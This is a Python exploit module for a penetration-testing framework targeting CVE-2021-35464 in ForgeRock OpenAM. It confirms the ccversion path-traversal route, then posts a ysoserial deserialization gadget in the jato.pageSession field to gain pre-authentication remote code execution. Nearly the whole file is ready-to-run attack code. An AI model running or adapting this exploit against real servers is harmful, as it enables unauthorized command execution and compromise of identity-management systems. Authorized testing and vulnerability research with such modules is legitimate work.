ForgeRock OpenAM Deserialization RCE (CVE-2021-35464)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ForgeRock OpenAM Jato deserialization RCE (CVE-2021-35464)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'ForgeRock OpenAM Deserialization RCE (CVE-2021-35464)',
        'description': (
            'Exploits CVE-2021-35464 in ForgeRock OpenAM <7.0: pre-auth Java deserialization '
            'via jato.pageSession on /openam/oauth2/..;/ccversion/* path traversal routes.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-35464'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-35464'],
        'tags': ['forgerock', 'openam', 'deserialization', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_35464_detect']},
        },
    }

    ysoserial_payload = OptString('', 'Base64 ysoserial gadget for jato.pageSession', required=False, advanced=True)
    ccversion_path = OptString('/openam/oauth2/..;/ccversion/Version', 'Traversal route', required=False, advanced=True)

    def check(self):
        path = str(self.ccversion_path or '/openam/oauth2/..;/ccversion/Version').strip()
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and 'Version Information -' in body:
            return {'vulnerable': True, 'reason': 'OpenAM ccversion traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ForgeRock OpenAM not detected', 'confidence': 'medium'}

    def execute(self, cmd: str) -> str:
        blob = str(self.ysoserial_payload or '').strip()
        if not blob:
            return ''
        path = str(self.ccversion_path or '/openam/oauth2/..;/ccversion/Version').strip()
        r = self.http_request(
            method='POST',
            path=path,
            data={'jato.pageSession': blob},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.ysoserial_payload:
            print_warning('Set ysoserial_payload (CommonsBeanutils1/etc.) for command execution')
            self.vulnerable()
            return True
        body = self.execute('')
        if re.search(r'uid=\d+|Exception|Error', body or '', re.I):
            return self.handler_execute()
        self.vulnerable()
        return True